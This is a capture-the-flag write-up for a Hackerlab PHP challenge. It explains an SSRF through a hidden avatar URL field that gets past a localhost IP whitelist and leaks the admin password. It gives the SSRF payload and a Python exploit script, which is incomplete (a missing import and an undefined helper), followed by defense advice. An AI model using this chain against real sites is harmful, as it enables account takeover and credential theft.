Звездный сейф (Star Safe)
Звездный сейф (Star Safe)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Admin secret extraction via internal request, Authentication bypass using leaked credentials, Localhost IP whitelist bypass, SSRF via avatar URL field during registration
Summary
Task: PHP web application with avatar upload feature and admin panel. Solution: SSRF via hidden avatar URL field to bypass localhost IP whitelist and extract admin credentials from internal endpoint.
Звездный сейф (Star Safe) — Hackerlab
Description
Космическая палитра обманчива: между оттенками вселенной притаились неприметные лазейки
URL: http://62.173.140.174:16071
A ZIP archive with the application source code was provided.
Analysis
Application Structure
The application is a PHP web application with the following features:
- User registration (
register.php) - Authentication (
login.php) - User profile view (
user.php) - Avatar upload (
avatar.php) - Admin panel (
admin.php)
Vulnerability 1: SSRF in avatar.php
In register.php there is a hidden avatar field that accepts an arbitrary URL:
php read-only • copy allowed// register.php - saves avatar URL to database $avatar = $_POST['avatar'] ?? 'default.png';
In avatar.php this URL is fetched from the server:
php read-only • copy allowed$url = $stmt->fetchColumn(); if (!preg_match('/^https?:\/\//i', $url)) { $url = $default_avatar; } $data = file_get_contents($url); // SSRF here!
The check only validates the http:// or https:// prefix — we can specify http://127.0.0.1/....
Vulnerability 2: Localhost Bypass in user.php
php read-only • copy allowed$allowed_ips = ['127.0.0.1', '::1']; if (!in_array($_SERVER['REMOTE_ADDR'], $allowed_ips) && !isset($_SESSION['user_id']) || (...)) { die('Access denied'); }
If the request comes from localhost, the session check is skipped! We can get any user's secret.
Vulnerability 3: Admin Credentials in entrypoint.sh
bash read-only • copy allowed# entrypoint.sh INSERT INTO users (id, username, password, secret) VALUES (1337, 'admin', '$ADMIN_PASSWORD', '$ADMIN_PASSWORD');
The admin (id=1337) has their password equal to their secret!
Solution
Step 1: Registration with SSRF Payload
Register with an avatar URL pointing to the internal endpoint:
avatar=http://127.0.0.1/user.php?id=1337
Step 2: Trigger SSRF
Navigate to avatar.php — the server makes a request to http://127.0.0.1/user.php?id=1337 on its own behalf (with localhost IP).
Step 3: Obtain Admin Password
The response from user.php contains the admin's secret (which equals the password).
Step 4: Authenticate as Admin
Log in with the obtained password:
- Username:
admin - Password:
<extracted_secret>
Step 5: Get the Flag
Navigate to admin.php — get the flag.
Exploit
python read-only • copy allowed#!/usr/bin/env python3 import requests import re BASE_URL = "http://62.173.140.174:16071" # Step 1: Register with SSRF payload session = requests.Session() register_data = { "username": "attacker_" + str(int(time.time())), "password": "password123", "avatar": "http://127.0.0.1/user.php?id=1337" # SSRF to get admin secret } session.post(f"{BASE_URL}/register.php", data=register_data) # Step 2: Login as our user session.post(f"{BASE_URL}/login.php", data={ "username": register_data["username"], "password": register_data["password"] }) # Step 3: Trigger SSRF via avatar.php response = session.get(f"{BASE_URL}/avatar.php") # Response contains admin's secret (which is their password) # Extract password from response admin_password = extract_secret(response.text) # Step 4: Login as admin admin_session = requests.Session() admin_session.post(f"{BASE_URL}/login.php", data={ "username": "admin", "password": admin_password }) # Step 5: Get flag from admin panel flag_response = admin_session.get(f"{BASE_URL}/admin.php") print(flag_response.text)
Defense
- URL Validation: Block internal IPs (127.0.0.1, 10.x.x.x, 192.168.x.x)
- Domain Whitelist: Allow only specific domains for avatars
- Don't Trust IP: Don't use IP-based access control for sensitive data
- Separate Secrets: Password should not be stored/used as other data
Lessons
- SSRF is one of the most dangerous vulnerabilities, allowing network restriction bypass
- Hidden fields in HTML forms do not provide security
- IP whitelist for localhost is easily bypassed via SSRF
- Always check
entrypoint.shand initialization scripts — they often contain credentials